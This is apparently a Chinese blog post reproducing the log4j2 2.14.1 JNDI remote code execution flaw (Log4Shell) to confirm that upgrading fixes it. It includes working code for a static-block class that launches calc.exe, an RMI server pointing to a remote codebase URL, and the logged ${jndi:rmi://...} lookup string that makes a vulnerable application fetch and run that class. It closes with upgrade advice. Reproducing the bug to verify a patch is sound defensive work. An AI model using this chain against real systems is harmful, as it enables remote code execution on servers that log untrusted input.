简介
近日不少公司因为log4j2.x版本远程执行代码漏洞问题加班加点,我自己本身也因此花了不少时间去修复各个项目的漏洞,首先不可否认logj2是一款优秀的日志工具,能这么大范围的影响(据说腾讯京东都受到影响,甚至百度搜索输入特殊代码也是能执行的),也说明了大家对这个框架的认可。我也是使用了log4j1、logback、log4j2后觉得最好用的确实还是log4j2而且logback问题也是有的(我之前的博客有说到一次,其实问题也不少的这里就不举例了)。然后我这为了能继续使用这个框架,自然是选择升级版本最方便,为了自己也为了大家验证升级后是否还有这个问题,我这就来复现一下这次的问题。
问题重现
首先引入log4j2有问题版本的依赖到项目中(以下为我测试加入的依赖):
<!--log4j2支持-->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.30</version>
</dependency>
<!--slf4j对应log4j2的中间件,即桥接 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-web</artifactId>
<version>2.14.1</version>
<scope>runtime</scope>
</dependency>
首先编写一个可执行命令的类(以windows为例):
package test;
import java.io.IOException;
public class ExecObj {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException ex) {
ex.printStackTrace();
}
}
}
上面的代码就是一个简单的类,然后有一个静态代码块,加上一个打开windows计算器的代码,由于静态代码块会在类加载的时候执行所以只要这个类被加载了就会被执行。
然后编写rmi服务:
package test;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) throws Exception {
//注册服务的请求端口
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:80/";
//这边是将上面所写的类绑定到这个url里面
Reference ref = new Reference("ExecObj", "ExecObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("ExecObj", referenceWrapper);
System.out.println("=======rmi服务启动成功=========");
}
}
由于将ExecObj这个类和http://127.0.0.1:80/ 本地80端口进行了地址绑定,所以我这边启动了ngnix,并且将ExecObj.java类放到了ngnix的html目录(需配置该目录为静态目录http可直接访问),然后利用javac命令将这个类进行编译,这边我把类的package第一行去掉了:
配置好ngnix和编译完这个类之后,先试着用浏览器直接访问80端口以及这个class:
访问http://localhost/ExecObj.class如下可直接下载这个class文件
为什么要做这一步呢,因为服务端将这个类绑定到了http://127.0.0.1:80/这个地址,然后客户端只要请求这个地址rmi://127.0.0.1:1099/ExecObj 后就会去http://127.0.0.1:80/下面找到这个对应的class文件下载并加载,所以要保证这个类是可下载的才行。
下面编写客户端请求:
package test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class TestRmiClient {
private static Logger log = LoggerFactory.getLogger(TestRmiClient.class);
public static void main(String[] args) {
//这个系统参数跟jdk版本有关系,我这边版本的jdk8需要设置这个参数才可以发起rmi请求
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//模拟实际服务中的日志打印,将请求端输入的这串代码打印出来
log.info("${jndi:rmi://127.0.0.1:1099/ExecObj}");
}
}
这边提一下为何要设置com.sun.jndi.rmi.object.trustURLCodebase这个参数,
具体的大家可以参考这个文章,https://www.cnblogs.com/tr1ple/p/12335098.html
后面我们实际尝试一下是否可行:
启动rmi服务类:
启动客户端类进行日志的打印:
可以看到计算器被调出来了。
为了方便观察是否真的进行了文件下载,我这把rmiserver打成jar包放到虚拟机中运行然后进行抓包,需要下载打包好的服务端可以到这下载:https://download.csdn.net/download/qq_33812847/60686389
虚拟机中启动服务:
将客户端日志打印中的ip改成虚拟机ip后执行(这边需要注意将虚拟机的服务端口1099开放,然后由于jar包中url绑定的ip是127.0.0.1这个是本机的ip所以虚拟机中就不用在搭建ngnix了,总之这个url是任意的只要能访问就行也可以改成虚拟机的ip但是这样虚拟机就的再搭一个ng了比较麻烦就不搞了):
抓包
查看抓包日志:
可以看到确实发起了文件下载的请求。
问题解决
把log4j2的依赖升级到2.17.0及以上版本就行了,到maven中央库搜log4j,阿里云镜像中也可以下载了,以下是中央库的地址和搜索情况
现在最新的2.16.0以上的版本彻底删除了这一块漏洞代码的内容,但是2.16还是有一个漏洞会导致程序意外终止,2.17.0有一个中危的漏洞只要可以修改配置文件就可以远程执行任意代码,应该更新至2.17.1
总结
最后希望大家赶紧修复漏洞,不要被有心之人利用,修复完后要记得验证一下是否还有问题。